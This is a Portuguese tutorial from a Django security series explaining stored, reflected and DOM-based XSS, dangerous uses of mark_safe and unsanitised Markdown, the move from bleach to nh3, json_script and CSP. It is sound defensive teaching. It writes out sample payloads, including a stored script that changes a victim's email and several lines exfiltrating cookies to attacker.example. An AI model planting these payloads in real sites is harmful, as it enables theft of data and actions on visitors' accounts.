XSS: Ataques Armazenados, Refletidos e Baseados em DOM — e Por Que mark_safe e Markdown Inseguro São Igualmente Perigosos

XSS: Ataques Armazenados, Refletidos e Baseados em DOM — e Por Que mark_safe e Markdown Inseguro São Igualmente Perigosos



Django Security Series — Post 2 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~32 min

🧪 Rode você mesmo. Este ataque vem como um laboratório executável no django-security-lab: um quadro de comentários vulnerável que marca o HTML enviado pelo usuário como seguro sem nenhum sanitizador, e um seguro que o passa antes pelo nh3. Tudo é exercitado pela linha de comando — publique um payload com curl e depois leia-o de volta ao vivo no quadro vulnerável e removido no seguro. Clone o repositório e reproduza cada passo.

O Post 1 desta série abordou SQL Injection — um ataque que tem como alvo o banco de dados ao quebrar a barreira entre a estrutura SQL e os dados. O Post 2 sobe na pilha para a camada do navegador: Cross-Site Scripting (XSS), onde a barreira que está sendo quebrada é entre a estrutura HTML e o conteúdo fornecido pelo usuário. Os dois ataques compartilham a mesma causa raiz — tratar entrada não confiável como código confiável — e os dois são agrupados sob OWASP A03:2021 Injection exatamente por isso.

Este post existe por causa de uma decisão real que precisei tomar. O Petição Brasil — minha plataforma civic-tech para petições com validade jurídica — renderiza descrições de petições enviadas pelos usuários como Markdown. Isso significa que existe uma chamada mark_safe() em algum ponto do pipeline, e a única coisa entre a tag <script> de um atacante e execução total no navegador de cada visitante é a sanitização que acontece antes dessa chamada. Quando descobri que o bleach — a biblioteca na qual eu confiava para essa sanitização — havia sido colocado em modo de manutenção mínima pela Mozilla em janeiro de 2023, precisei entender exatamente qual era sua falha e com o que substituí-lo. Essa pesquisa se tornou este post.

O mecanismo de templates do Django faz escape automático de HTML por padrão, o que bloqueia a maioria dos ataques XSS de forma transparente. Mas o auto-escaping tem saídas deliberadas: mark_safe(), o filtro | safe e blocos {% autoescape off %}. O risco é agravado pelo padrão de renderização de Markdown: a biblioteca Python markdown passa HTML bruto sem modificações, então chamar mark_safe() na saída sem sanitizar antes entrega ao atacante execução direta de código. O substituto com manutenção ativa para o bleach é o nh3, um binding Python para o sanitizador Ammonia baseado em Rust — e a diferença crítica é que o nh3 bloqueia URIs javascript: por padrão, o que o bleach não faz. As duas bibliotecas são abordadas em detalhe na seção Padrões Vulneráveis abaixo.

Neste post, vou detalhar como o XSS funciona no nível do navegador, onde as proteções padrão do Django terminam, e como montar um pipeline de Markdown que lida com entrada não confiável de forma segura — incluindo a falha específica que me forçou a migrar do bleachcd.


O Ataque: O Que É e Como Funciona

Cross-Site Scripting ocorre quando uma aplicação inclui dados não confiáveis em uma página web sem a codificação de saída adequada — permitindo que um atacante execute scripts no navegador de uma vítima no contexto da origem da aplicação. O navegador não consegue distinguir entre scripts que o desenvolvedor pretendia e scripts que o atacante injetou: ambos chegam no mesmo documento HTML, do mesmo domínio, com acesso aos mesmos cookies, DOM e armazenamento.

O nome 'Cross-Site Scripting' é basicamente um artefato histórico a esta altura. Na prática, significa apenas que um atacante encontrou uma forma de executar o próprio código dentro dos navegadores dos seus usuários. Um ataque XSS bem-sucedido dá ao atacante o mesmo acesso ao DOM que o seu próprio JavaScript tem: ele pode ler cookies de sessão, capturar teclas digitadas, fazer requisições autenticadas à API em nome da vítima, redirecionar para uma página de phishing ou minerar criptomoeda em segundo plano.

A mesma falha chega por três caminhos diferentes, e vale separá-los porque cada um falha em um lugar distinto — um no banco de dados, um na resposta, um inteiramente dentro do navegador.

O XSS Armazenado é o pior cenário: o payload é escrito no armazenamento de dados da aplicação — um comentário, uma bio de perfil, uma avaliação de produto, um post em fórum — e a partir desse momento, ele é executado no navegador de cada visitante sem nenhuma ação adicional do atacante. Uma única submissão, vítimas ilimitadas. O atacante não precisa continuar enviando links de phishing ou enganando usuários para clicarem em nada; ele simplesmente aguarda enquanto a aplicação faz o trabalho por ele.

A parte forense também é preocupante. O conteúdo malicioso é servido pela própria origem da aplicação via respostas HTTP normais, então os logs do servidor simplesmente mostram carregamentos de página comuns. O navegador da vítima não tem razão para emitir alarmes — o script vem de um domínio confiável. O padrão SESSION_COOKIE_HTTPONLY = True do Django torna o cookie de sessão ilegível a partir do JavaScript — ele simplesmente não aparece na API document.cookie — fechando o caminho mais óbvio de exfiltração. Mas o XSS ainda pode ler tokens CSRF do DOM, executar ações autenticadas dentro da página usando a sessão existente, registrar teclas digitadas ou reescrever a UI, então o HttpOnly é uma mitigação parcial, não uma correção.

Exemplo concreto: um campo de comentário que armazena e renderiza a entrada do usuário sem sanitização. Um atacante envia um corpo de comentário que, a cada carregamento de página, lê o token CSRF do DOM e o usa para realizar uma ação autenticada contra a própria API da aplicação em nome do visitante — por exemplo, postando outro comentário, alterando o e-mail do visitante, ou seguindo uma conta controlada pelo atacante:

<script>
fetch('/api/account/email/', {
  method: 'POST',
  credentials: 'include',
  headers: {'X-CSRFToken': document.querySelector('[name=csrfmiddlewaretoken]').value},
  body: 'email=attacker@example.com'
});
</script>

O comentário é salvo no banco de dados. Todo visitante subsequente que carregar a página executa silenciosamente essa requisição do próprio navegador, com o próprio cookie de sessão, contra o site legítimo — ele não vê nada de incomum. O atacante submeteu o payload uma vez; cada carregamento futuro da página é uma reexecução automática. (O payload canônico de exfiltração de document.cookie ainda aparece em demos e materiais antigos, mas em uma aplicação Django moderna com configuração padrão ele não retornaria o cookie de sessão por causa do HttpOnly; ele ainda pode vazar quaisquer outros cookies não-HttpOnly que o site definir.)

No XSS Refletido, o payload viaja na URL ou no envio do formulário, é ecoado de volta na resposta do servidor e desaparece — nunca é escrito em disco. Isso o faz parecer menos perigoso que o Armazenado, mas o problema de entrega costuma ser mais fácil de resolver do que parece. O link criado pode ser enterrado dentro de um e-mail de phishing com um remetente falsificado, encurtado por um serviço de URL, embutido em um QR code, ou deslizado em uma mensagem de chat. Uma vez que a vítima clica, o payload é executado no contexto do site legítimo, com o mesmo acesso ao DOM que o próprio JavaScript da aplicação tem.

Do ponto de vista de detecção, é quase invisível: o log de acesso do servidor registra uma única requisição de página completamente normal, e nada é deixado para trás após o envio da resposta.

Exemplo concreto: uma view de busca que ecoa o termo da consulta de volta na página com <p>Nenhum resultado para: {{ query }}</p>. Se query é renderizado com | safe ou a view o passa por mark_safe(), um atacante pode criar uma URL como https://example.com/search/?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script> e distribuí-la por e-mail de phishing. Qualquer usuário que clicar no link executa o payload no contexto do site legítimo — com acesso total aos cookies e ao DOM daquele site — mesmo que nada malicioso esteja armazenado no servidor.

O XSS Baseado em DOM não toca o servidor. A vulnerabilidade está em JavaScript do lado do cliente que lê de uma fonte controlada pelo atacante — location.hash, document.referrer, URLSearchParams — e escreve esse valor em um sink perigoso como innerHTML, document.write ou eval. A camada de template do Django está completamente fora da equação; a resposta do servidor pode estar perfeitamente limpa e o ataque ainda funciona.

É isso que o torna especialmente complicado: WAFs, validação no lado do servidor e ferramentas de varredura em nível HTTP são todas cegas a ele. A vulnerabilidade existe apenas no próprio código JavaScript. A correção é geralmente simples em princípio — use innerText ou textContent em vez de innerHTML ao inserir texto não confiável no DOM, e evite eval e new Function(string) com qualquer coisa que tenha vindo da URL — mas isso requer saber onde esses padrões perigosos existem no seu JavaScript.

Vale ser explícito sobre o motivo pelo qual o Django não pode ajudar aqui: os navegadores nunca enviam o fragmento (#...) ao servidor como parte da requisição HTTP. O Django literalmente nunca o vê. Nenhum middleware, filtro de template ou view consegue inspecionar ou sanitizar um valor que existe apenas no navegador. A única alavanca do lado do servidor que o Django tem é o cabeçalho Content-Security-Policy — já abordado mais adiante neste post — que atua como uma última linha de defesa restringindo quais scripts o navegador pode executar. Um complemento mais recente é o Trusted Types (require-trusted-types-for 'script'), uma diretiva CSP que força toda escrita no DOM a passar por uma política JavaScript tipada: passar uma string bruta para innerHTML lança um TypeError em tempo de execução e, com o reporte de CSP configurado, dispara um relatório de violação. O Django pode entregar esse cabeçalho via django-csp, mas escrever a própria política Trusted Types ainda é trabalho de JavaScript. Um exemplo mínimo do lado cliente que satisfaz a diretiva tem esta forma:

// Definida uma vez no início da aplicação, antes de qualquer código de escrita no DOM rodar.
const sanitisePolicy = trustedTypes.createPolicy('app-html', {
  createHTML: (input) => DOMPurify.sanitize(input)  // ou qualquer sanitizador validado
});

// Toda atribuição a um sink Trusted-Types tem que passar pela política:
element.innerHTML = sanitisePolicy.createHTML(userValue);

Com require-trusted-types-for 'script' aplicado, qualquer element.innerHTML = stringBruta em outro lugar da base de código — inclusive código que um atacante consiga injetar — lança em tempo de execução em vez de executar.

Exemplo concreto: uma página lê um identificador de fragmento para pré-preencher um elemento da interface com document.getElementById('welcome').innerHTML = decodeURIComponent(location.hash.slice(1)). Um atacante distribui a URL https://example.com/dashboard/#<img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>. O servidor retorna sua resposta normal e não modificada — não há nada suspeito no tráfego HTTP. O navegador então executa o JavaScript, lê o fragmento, o escreve em innerHTML, e o manipulador onerror injetado é disparado. A camada de template do Django nunca é envolvida.

Qualquer que seja o caminho de entrega, o payload em si é a mesma classe de coisa. A demonstração canônica é <script>alert(1)</script>, mas ataques reais usam payloads bem mais capazes — suas capacidades são idênticas nas três variantes, e apenas o vetor de entrega muda:

Padrão de payload O que faz
<script>document.location='https://attacker.example/?c='+document.cookie</script> Exfiltra cookies de sessão
<img src=x onerror="fetch('/api/action',{method:'POST',credentials:'include'})"> Realiza uma ação autenticada em nome da vítima
<script src="https://attacker.example/keylogger.js"></script> Carrega um payload remoto para persistência

Atributos HTML fornecem pontos de injeção alternativos quando tags <script> são removidas mas manipuladores de eventos não são: <img src=x onerror=...>, <svg onload=...>, <body onpageshow=...>. Em Markdown especificamente, os alvos de links são um vetor crítico: [clique aqui](javascript:alert(document.cookie)) renderiza como <a href="javascript:alert(document.cookie)">clique aqui</a> — Markdown válido, XSS válido, e um que o bleach não bloqueia sem configuração adicional.


Incidentes Reais

O Worm XSS do TweetDeck (2014)

Em junho de 2014, um estudante austríaco de 19 anos de eletrônica e ciência da computação chamado Florian (handle @firoxlx) estava experimentando com o TweetDeck — o painel oficial do Twitter para usuários avançados — tentando fazer o serviço exibir o caractere unicode ♥. No processo, ele descobriu que o TweetDeck renderizava o conteúdo dos tweets como HTML bruto, sem sanitização, dentro de sua interface de colunas. Em vez de reportar o problema de forma privada, Florian publicamente tuitou que havia encontrado uma vulnerabilidade e a demonstrou em aberto com um popup alert() inofensivo. Outro usuário, com o handle @derGeruhn, pegou a divulgação em poucas horas e construiu um worm autorreplicante: um único tweet contendo um bloco <script> que se retuitava automaticamente a partir da conta de cada usuário do TweetDeck que o carregava em sua timeline. O Guardian reporta que a contagem ultrapassou 80.000 retuites nas poucas horas até que o Twitter suspendesse completamente o serviço TweetDeck enquanto os engenheiros corrigiam a camada de renderização.

O incidente do TweetDeck em 2014 é um exemplo real perfeito de como o XSS Armazenado pode sair do controle rapidamente — e um lembrete útil de que práticas de divulgação de vulnerabilidades importam tanto quanto o patch. A fórmula foi dolorosamente simples: um pipeline de renderização sem sanitizador de HTML, um campo de conteúdo gerado pelo usuário, e cada visitante subsequente executa o que foi armazenado. O MITRE ATT&CK mapeia a execução de código para T1059.007 (Intérprete de Comando e Script: JavaScript), a técnica primária desta classe; quando o XSS é usado para sequestrar a entrada de credenciais em um portal de login, T1056.003 (Captura de Entrada: Captura de Portal Web) também se aplica, embora o encaixe seja mais fraco no formato armazenado-em-conteúdo-de-usuário que o TweetDeck teve. A correção foi uma única mudança nesse pipeline: passar o conteúdo do tweet por um sanitizador de HTML antes de inseri-lo no DOM — exatamente o passo nh3.clean() que o pipeline seguro deste post adiciona entre markdown.markdown() e mark_safe(). Para desenvolvedores Django o paralelo é direto: um campo de comentário, uma bio de usuário, uma avaliação de produto — qualquer campo que armazena conteúdo de um usuário e o exibe para outros se torna o ponto de entrada deste worm se chegar ao navegador sem sanitização.

A dimensão regulatória é o que transforma um achado de XSS armazenado de um chamado de engenharia em um evento reportável. O TweetDeck é anterior aos regimes modernos de proteção de dados, mas rode a mesma falha em uma aplicação Django que guarda dados pessoais e a conta muda: um script injetado que exfiltra um token de sessão — ou que silenciosamente executa uma ação autenticada como o visitante — é tratamento não autorizado. Quando o conteúdo que ele alcança revela opinião política, saúde ou origem racial, a LGPD classifica isso como dado pessoal sensível (Art. 5º, II) e aplica as proteções reforçadas do Art. 11. A lição para desenvolvedores Django é incômoda, mas útil: o único campo que você decidiu não sanitizar determina o tamanho do relatório de incidente, não apenas o tamanho do bug.

Fonte: The Guardian — Vulnerabilidade no TweetDeck: coração emoji de adolescente expõe falha de segurança do Twitter (2014)


Proteções Padrão do Django

O mecanismo de templates do Django faz escape automático de toda saída de variáveis por padrão. O escape automático é o processo de converter automaticamente os caracteres que têm significado especial em HTML nos seus equivalentes de texto seguro antes de serem escritos na página — assim, um valor como <script> é exibido como texto visível em vez de ser executado como markup. Quando você escreve {{ variavel }} em um template, o Django converte cinco caracteres antes de inserir o valor no HTML:

Caractere Escapado como
< &lt;
> &gt;
' &#x27;
" &quot;
& &amp;

(Nota de rodapé: o Django historicamente fazia escape de ' para a entidade decimal &#39; e mudou para a forma hexadecimal &#x27; no Django 3.0. Ambas são referências HTML válidas para o mesmo caractere, então exemplos antigos ou sessões de shell podem mostrar qualquer uma das formas.)

Um payload armazenado de <script>alert(1)</script> em um campo de model renderiza como &lt;script&gt;alert(1)&lt;/script&gt; — texto visível inofensivo no navegador, nunca interpretado como HTML. O auto-escaping é aplicado a toda expressão {{ variavel }} automaticamente, sem nenhuma ação do desenvolvedor.

O auto-escaping se aplica independentemente da origem do valor — um campo de model do banco de dados, um parâmetro de consulta de URL (request.GET), um envio de formulário (request.POST) ou qualquer outra fonte. A origem dos dados não faz diferença; o mecanismo de templates faz o escape de todo {{ variavel }} da mesma forma. A ressalva importante é que o auto-escaping só se aplica a valores renderizados por meio de {{ }} em contexto HTML. O mesmo valor de request.GET interpolado dentro de um bloco <script>, escrito em innerHTML por JavaScript do lado cliente, ou passado por um dos três mecanismos de bypass declarados pelo desenvolvedor listados na limitação 1 abaixo não está protegido.

Essa proteção se aplica à etapa de codificação de saída — a transformação final antes de o HTML ser enviado ao navegador. Ela tem três limitações que os desenvolvedores precisam conhecer:

  1. Bypasses declarados pelo desenvolvedormark_safe(), o filtro | safe e blocos {% autoescape off %} desativam o auto-escaping completamente para os valores que tocam. Esses casos são abordados na próxima seção.
  2. Blocos <script> em templates — o Django ainda faz escape HTML de expressões {{ variavel }} dentro de uma tag <script>, mas o escape HTML é a codificação errada para o contexto JavaScript: um valor escapado como &quot;; fetch(...);// ainda é JavaScript válido e ainda executa. A estratégia correta é a codificação JSON via json_script. Isso é abordado no Padrão Vulnerável § 5.
  3. XSS Baseado em DOM — se o JavaScript no lado do cliente lê de uma fonte controlada pelo atacante (location.hash, URLSearchParams, document.referrer) e escreve em um sink perigoso (innerHTML, document.write, eval), o ataque nunca toca o servidor. O escape de template do Django não está envolvido e não oferece proteção. Essa variante é abordada na seção O Ataque acima.

Padrão Vulnerável: O Que NÃO Fazer

1. mark_safe() em Conteúdo Fornecido pelo Usuário

Para entender por que mark_safe() é perigoso em entrada de usuário, é preciso primeiro entender por que ele existe.

O mecanismo de templates do Django faz escape de todo {{ variavel }} por padrão, convertendo <script> em &lt;script&gt; antes de escrevê-lo na página. Isso é correto para valores de texto simples, mas é um problema quando o desenvolvedor precisa renderizar HTML legitimamente. Se um desenvolvedor já construiu uma string HTML segura — por exemplo, um menu de navegação montado em código Python que contém tags <a href="..."> — ele não quer que esses colchetes angulares sejam escapados como texto visível. mark_safe() é a declaração do desenvolvedor ao Django: "Eu verifiquei que esta string é HTML seguro; renderize-a como markup, não como texto."

Toda a garantia de segurança depende de essa declaração ser verdadeira. O Django não a verifica. Ele confia completamente no desenvolvedor.

# INSEGURO — marca string controlada pelo atacante como HTML confiável
from django.utils.safestring import mark_safe

def renderizar_bio_usuario(bio_text):
    return mark_safe(bio_text)  # auto-escaping agora permanentemente desativado para este valor

Quando mark_safe() é chamado sobre um valor proveniente de entrada do usuário, o desenvolvedor está dizendo ao Django para confiar em conteúdo que ele não escreveu e não controla. O auto-escaping — que teria convertido <script>alert(1)</script> em texto visível inofensivo — é contornado completamente. O template grava a string bruta na página, o navegador a interpreta como HTML e o script é executado. Todo visitante que carregar essa página executa o código do atacante no seu navegador, no contexto do seu domínio, com acesso aos cookies de sessão e ao DOM.

A regra é incondicional: nunca passe um valor que tenha origem em entrada de usuário para mark_safe() sem antes executá-lo por um sanitizador com allowlist.

2. O Filtro | safe e {% autoescape off %}

| safe e {% autoescape off %} resolvem o mesmo problema que mark_safe(), mas na camada de template em vez da camada de view ou template tag. O caso de uso legítimo é idêntico: um desenvolvedor produziu HTML em código Python — talvez um utilitário que gera links de paginação, um widget de formulário que renderiza seu próprio markup, ou uma variável que já foi processada por um sanitizador confiável — e precisa que o template a renderize como HTML em vez de escapá-la como texto.

Ambos são alternativas sintáticas a mark_safe(). Aplicar | safe a uma variável é exatamente equivalente a ter chamado mark_safe() sobre esse valor em Python — define o mesmo sinalizador de HTML confiável no objeto string e ignora o auto-escaping naquele ponto de saída. {% autoescape off %} é mais abrangente: desativa o auto-escaping para toda variável dentro do bloco, não apenas uma.


{{ comentario.corpo | safe }}


{% autoescape off %}
    {{ post.conteudo_usuario }}
{% endautoescape %}

O perigo é o mesmo que mark_safe(): se o valor que chega a essas expressões contém conteúdo fornecido pelo usuário, o auto-escaping — a única coisa entre uma tag <script> armazenada e o navegador — desaparece. {% autoescape off %} agrava o risco porque um único bloco mal posicionado silenciosamente desativa a proteção para toda variável dentro dele, inclusive variáveis adicionadas por desenvolvedores futuros que podem não notar que o bloco está lá.

3. Markdown Sem Sanitização

Markdown é usado onde quer que aplicações precisem aceitar texto formatado de usuários sem expor toda a complexidade — e toda a superfície de ataque — de um editor HTML. Um sistema de comentários de blog, um campo de README de projeto, uma bio de usuário, uma avaliação de produto: todos se beneficiam de deixar os usuários escreverem **negrito** ou [um link](https://example.com) sem precisar digitar HTML bruto. O servidor converte essa sintaxe Markdown para HTML no momento da renderização e a exibe na página. É um padrão amplamente adotado exatamente porque parece seguro — Markdown é uma linguagem de markup leve, não HTML, então parece que há uma camada de separação entre a entrada do usuário e a página renderizada.

Não há. A biblioteca Python markdown — o conversor padrão de facto — deliberadamente passa HTML bruto embutido na fonte Markdown direto para sua saída sem modificações. O usuário não está limitado à sintaxe Markdown; ele pode incluir tags <script> literais na entrada e o conversor as passará diretamente para o HTML que produz. Então, porque a aplicação precisa renderizar esse HTML corretamente no navegador, ela chama mark_safe() no resultado — e nesse ponto a tag <script> bruta chega à página sem modificações.

# INSEGURO — markdown.markdown() passa HTML bruto sem modificações
import markdown
from django.utils.safestring import mark_safe

def renderizar_conteudo_usuario(texto):
    html = markdown.markdown(texto)
    return mark_safe(html)  # <script> em 'texto' sobrevive à etapa de markdown

A opção safe_mode da biblioteca foi removida na versão 3.0 (2018) exatamente porque não era um mecanismo de sanitização confiável — a resposta correta sempre foi um sanitizador dedicado downstream. A posição explícita dos mantenedores é que a sanitização pertence a uma biblioteca downstream, não ao conversor em si. Não há flag a ativar nem extensão a habilitar que torne markdown.markdown() seguro com entrada não confiável — a sanitização precisa acontecer como uma etapa downstream separada. Hoje a documentação da biblioteca não faz nenhuma afirmação de sanitização, e o comportamento é inalterado: HTML bruto no Markdown de entrada passa para a saída sem modificações. Um usuário que enviar <script>fetch('https://attacker.example/?c='+document.cookie)</script> no corpo de um post recebe essa tag <script> na saída HTML sem alterações.

4. bleach — Descontinuado; Substitua

bleach foi a biblioteca de sanitização de HTML mais usada no ecossistema Python por mais de uma década. Foi desenvolvida pela Mozilla e usada em produção em larga escala — mais notavelmente como camada de sanitização HTML no Firefox Add-ons Marketplace. Sua função em um pipeline Markdown era exatamente o que a seção anterior descreveu: receber o HTML bruto produzido por markdown.markdown(), remover toda tag e atributo que não estivesse numa lista de permissões explícita, e retornar HTML limpo pronto para ser passado a mark_safe(). Por anos, se você pesquisasse "Django sanitizar HTML" ou "Python bleach Markdown", o padrão bleach era a resposta padrão.

A Mozilla colocou o bleach em modo de manutenção mínima em 23 de janeiro de 2023. A linha 6.x é a release line atual e final em termos de funcionalidades. O compromisso declarado do mantenedor é correções críticas de segurança, suporte a novas versões do Python e correções de bugs graves — aproximadamente uma release por ano — sem mais desenvolvimento de novas funcionalidades. O aviso de descontinuação aponta diretamente para nh3 como substituto recomendado.

Além da descontinuação, o bleach tem uma lacuna estrutural que o torna insuficiente mesmo na versão 6.x: ele não inspeciona o conteúdo dos valores de atributos permitidos. href é um atributo legítimo em tags <a> e pertence a qualquer lista de permissões. Mas o bleach não valida o que o href contém — por isso <a href="javascript:alert(document.cookie)"> passa por bleach.clean() sem modificações quando href é permitido. O padrão Markdown [clique aqui](javascript:alert(1)) é uma entrada válida, produz essa tag <a> após a etapa de Markdown, e chega ao navegador como um vetor XSS ativo.

Se sua base de código usa bleach, migre para nh3. Não adicione bleach a projetos novos.

Bleach ainda está presente em um grande número de bases de código Django em produção escritas antes de 2023. Se você encontrá-lo em um projeto existente, precisa reconhecer o padrão, entender exatamente onde está a lacuna, e saber o que substituir.

# PARCIALMENTE INSEGURO — bleach remove <script> mas não hrefs javascript: por padrão
import bleach

TAGS_PERMITIDAS = ['a', 'p', 'strong']  # ... lista completa de tags
ATTRS_PERMITIDOS = {'a': ['href', 'title']}

limpo = bleach.clean(html, tags=TAGS_PERMITIDAS, attributes=ATTRS_PERMITIDOS, strip=True)
# Um link como <a href="javascript:alert(1)">texto</a> sobrevive a esta chamada

O substituto seguro é o nh3 (abordado na próxima seção). Ele encapsula a biblioteca Rust Ammonia, que aplica uma lista de permissões de esquemas de URL a todo atributo do tipo URL por padrão — URIs javascript: e data: são removidas sem nenhuma configuração extra. A migração é uma pequena mudança de API: troque import bleach por import nh3, mude os literais list para set nos parâmetros tags e attributes, e remova o argumento strip=True (o Ammonia sempre remove). Retire bleach e webencodings do requirements.txt e adicione nh3.

5. Contexto JavaScript: Blocos <script>

O auto-escaping do Django é um escape de contexto HTML: ele converte os cinco caracteres que quebram a estrutura HTML. Ele não faz nada dentro de um bloco <script>, porque dentro de JavaScript o escape HTML é a codificação errada — produz código quebrado, não código seguro.

Um padrão que parece seguro mas não é:


<script>
  var username = "{{ request.user.username }}";
</script>

O escape HTML cobre apenas cinco caracteres (<, >, ', ", &) — nenhum dos caracteres de sintaxe que o JavaScript precisa para injeção em contexto de template literal ou fora de string. Altere o template para um template literal (var username = `{{ username }}`) e forneça `${fetch('https://attacker.example/?c='+document.cookie)}` como valor; o Django deixa a crase, $, { e } sem escape e a expressão interpolada é executada sem nenhuma quebra de string. Em contextos sem aspas — valor inteiro direto, chave de objeto — não há delimitadores de string para escapar. O escape HTML também é a camada de codificação errada por um motivo mais profundo: <script> é um elemento de texto bruto em HTML5 — o parser HTML nunca decodifica referências de caracteres dentro dele — portanto, um " escapado pelo Django chega ao mecanismo JavaScript como a sequência literal de seis caracteres &quot;, não como aspas duplas. A codificação endereça o parser errado.

A correção correta é o filtro built-in do Django json_script, que serializa o valor em um bloco <script type="application/json"> codificado como JSON usando um atributo id referenciado pelo seu próprio JavaScript:


{{ request.user.username | json_script:"username-data" }}

<script>
  var username = JSON.parse(document.getElementById('username-data').textContent);
</script>

A segurança do json_script não vem de fazer escape HTML dentro de um bloco <script> executável (o que, como o exemplo anterior mostrou, seria a codificação errada). Ela vem de duas propriedades distintas: primeiro, os dados são emitidos dentro de <script type="application/json">, que o navegador trata como dados inertes — nunca são interpretados como JavaScript. Segundo, o Django faz escape de <, > e & no payload JSON especificamente para impedir que um valor fornecido pelo usuário escape do bloco de dados injetando </script>. O valor só chega ao seu código quando o seu próprio JavaScript lê .textContent e chama JSON.parse() sobre ele — o valor é passado pelo DOM como um nó de dados, nunca concatenado diretamente no código-fonte JavaScript.

A regra é: nunca interpole dados do usuário diretamente em um bloco <script> com {{ variavel }}. Use json_script e leia o valor do DOM no seu JavaScript.


Implementação Segura: O Jeito Django

O padrão seguro para renderizar Markdown de fontes não confiáveis é um pipeline estrito de três passos: converter, sanitizar e marcar como seguro. A ordem não é estilística — cada passo é responsável por uma transformação específica, e reordená-los ou pular um reabre exatamente a vulnerabilidade que o pipeline existe para fechar:

  1. Converter Markdown para HTML — responsabilidade da biblioteca Markdown. markdown.markdown(texto_do_usuario) transforma a sintaxe Markdown (**negrito**, [link](url), blocos de código cercados) nas tags HTML correspondentes. Ele não sanitiza: qualquer HTML bruto que o usuário tenha embutido na fonte Markdown — incluindo <script>, <iframe>, atributos onerror, URLs javascript: — passa para a saída sem modificações. A saída desse passo é um HTML sintaticamente correto, mas ainda não seguro de renderizar.

  2. Sanitizar o HTML contra uma lista de permissões — responsabilidade do sanitizador. nh3.clean(html, tags=..., attributes=...) parseia o HTML produzido pelo passo 1 em uma DOM, percorre a árvore e remove toda tag e atributo que não esteja na lista de permissões explícita. Esquemas de URL perigosos (javascript:, data: em atributos que aceitam URL) são removidos. A saída desse passo é um HTML que está sintaticamente correto e seguro para ser inserido em uma página, porque os únicos elementos que sobreviveram são aqueles que você permitiu explicitamente.

Só depois dos dois passos é que mark_safe() é chamado sobre o resultado. O mark_safe() em si não executa nenhuma sanitização — ele é um marcador que avisa ao mecanismo de templates do Django: "essa string já foi tornada segura por outro lugar, não aplique auto-escape de novo na renderização." Chamar mark_safe() sobre entrada bruta do usuário, ou sobre a saída do passo 1 sem o passo 2, diz ao Django para confiar em uma string que de fato não foi sanitizada. Essa é a raiz de todo XSS relacionado a Markdown que aparece em produção: não um escape faltando, mas um mark_safe() colocado na linha errada.

A regra portanto é: mark_safe() é a última chamada, nunca a primeira, e só roda sobre a saída do sanitizador — nunca diretamente sobre a saída do conversor de Markdown nem sobre entrada bruta do usuário.

A Regra Invariante

Onde quer que mark_safe() apareça em código que manipula conteúdo fornecido pelo usuário, uma chamada ao sanitizador deve precedê-lo:

# SEMPRE: sanitize primeiro, marque como seguro depois
limpo = nh3.clean(html_usuario, tags=TAGS_PERMITIDAS, attributes=ATTRS_PERMITIDOS)
return mark_safe(limpo)

# NUNCA: marque como seguro sem sanitizar
return mark_safe(html_usuario)

Content Security Policy

A sanitização impede que HTML malicioso seja armazenado e renderizado. A Content Security Policy é a camada de proteção no nível do navegador para quando a sanitização falha — uma configuração incorreta, um caso limite da lista de permissões, um vetor de injeção que você não previu. Um cabeçalho CSP informa ao navegador quais fontes de script ele pode executar, então uma tag <script> injetada que passe pela sanitização é recusada na hora da execução.

A única diretiva que importa para XSS é script-src 'self' — e nunca 'unsafe-inline'. Scripts só rodam se forem servidos da sua própria origem, então tanto um <script>alert(1)</script> inline quanto um <script src="https://attacker.example/…"> externo são bloqueados, independentemente do que o HTML contiver. No Django, o django-csp adiciona o cabeçalho via middleware:

# settings.py (django-csp 4.0+)
CONTENT_SECURITY_POLICY = {
    "DIRECTIVES": {
        "default-src": ("'none'",),
        "script-src":  ("'self'",),
    },
}

CSP é defesa em profundidade, não um substituto para a sanitização — reduz a severidade de um XSS que escapa, mas nunca fecha a brecha.

Ela também funciona como ferramenta de detecção. O Content-Security-Policy-Report-Only serve a mesma política, mas reporta as violações em vez de bloqueá-las — todo script que a política teria recusado é enviado a um endpoint da sua escolha. Num site em produção, isso é o mais próximo de um sinal gratuito de detecção de intrusão para XSS: é como você encontra a injeção que passou pela sanitização, e a forma segura de testar uma política restrita antes de aplicá-la. Sua implantação — junto com o conjunto de diretivas completo e os nonces e hashes que permitem scripts inline legítimos — é assunto de um post posterior desta série.

Checklist de Prevenção de XSS: O Quadro Completo

XSS no Django vem de duas fontes distintas. O auto-escaping cuida da primeira automaticamente. Os demais três controles endereçam os bypasses deliberados:

Controle O que cobre
Auto-escaping do Django (padrão) Campos de model comuns em expressões {{ variavel }} — faz escape de <, >, ', ", & automaticamente, sem nenhuma ação do desenvolvedor
Nunca aplicar mark_safe() / &#124; safe / {% autoescape off %} em entrada do usuário As três rotas de bypass explícitas — cada uma desativa o auto-escaping e só deve ser usada em saída que já foi sanitizada
Sanitização com allowlist via nh3 antes de mark_safe() HTML e saída Markdown fornecidos pelo usuário — remove tags não permitidas, atributos de event handlers e esquemas de URL inseguros (javascript:, data:) antes de marcar o valor como seguro
Substituir bleach por nh3 em bases de código existentes Apenas bases de código legadas — fecha a lacuna de URIs javascript: que o bleach carrega em sua versão final 6.x
Content Security Policy (django-csp) Controle de defesa em profundidade no nível do navegador — restringe quais scripts o navegador executará; bloqueia tags <script> injetadas mesmo que a sanitização seja contornada

A Visão do Analista

Um scanner entrega achados de XSS aos montes, e o vocabulário do CySA+ se paga na triagem, que é onde está a maior parte do trabalho real. A primeira pergunta não é "isso é explorável", e sim qual variante — porque é isso que define o raio de alcance e, portanto, a prioridade. Um achado armazenado é um envio e vítimas ilimitadas, reexecutando a partir da sua própria origem a cada carregamento de página. Um refletido exige uma campanha de entrega por vítima. Um baseado em DOM pode nunca aparecer num log de servidor nem no próprio tráfego do scanner. Mesmo CWE, três tamanhos de incidente muito diferentes. A segunda pergunta é o que o payload de fato alcança: como o Django define HttpOnly no cookie de sessão por padrão, um relatório honesto diz que o atacante obtém acesso ao DOM e ações autenticadas na página — e não "sequestro de sessão" — a menos que a aplicação entregue um token que o JavaScript consiga ler.

